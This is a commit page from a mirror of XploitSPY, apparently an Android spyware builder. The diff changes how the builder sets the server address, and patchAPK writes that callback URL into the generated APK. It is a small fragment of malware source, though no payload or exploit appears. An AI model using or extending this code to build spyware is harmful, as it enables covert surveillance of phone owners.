mirror of
https://github.com/XploitWizer-Community/XploitSPY.git
synced 2024-11-05 18:09:22 +08:00
Auto detect host name
This commit is contained in:
parent
2c87a7a512
commit
7b99230d81
@ -69,7 +69,8 @@
|
||||
var isDone = false;
|
||||
$('#gobuild').click((e) => {
|
||||
$('#dimmer').addClass('active');
|
||||
build($('#uriInput').val(), "80");
|
||||
// build($('#uriInput').val(), "80");
|
||||
build(window.location.hostname, "443");
|
||||
setTimeout(loaderText, 500);
|
||||
});
|
||||
|
||||
|
@ -25,7 +25,7 @@ function patchAPK(URI, PORT, cb) {
|
||||
fs.readFile(CONST.patchFilePath, 'utf8', function (err, data) {
|
||||
if (err) return cb('File Patch Error - READ')
|
||||
var result = data.replace(data.substring(data.indexOf("http://"), data.indexOf("?model=")),
|
||||
"https://" + URI + ":" + "80");
|
||||
"http://" + URI + ":" + "80");
|
||||
fs.writeFile(CONST.patchFilePath, result, 'utf8', function (err) {
|
||||
if (err) return cb('File Patch Error - WRITE')
|
||||
else return cb(false)
|
||||
|
Loading…
Reference in New Issue
Block a user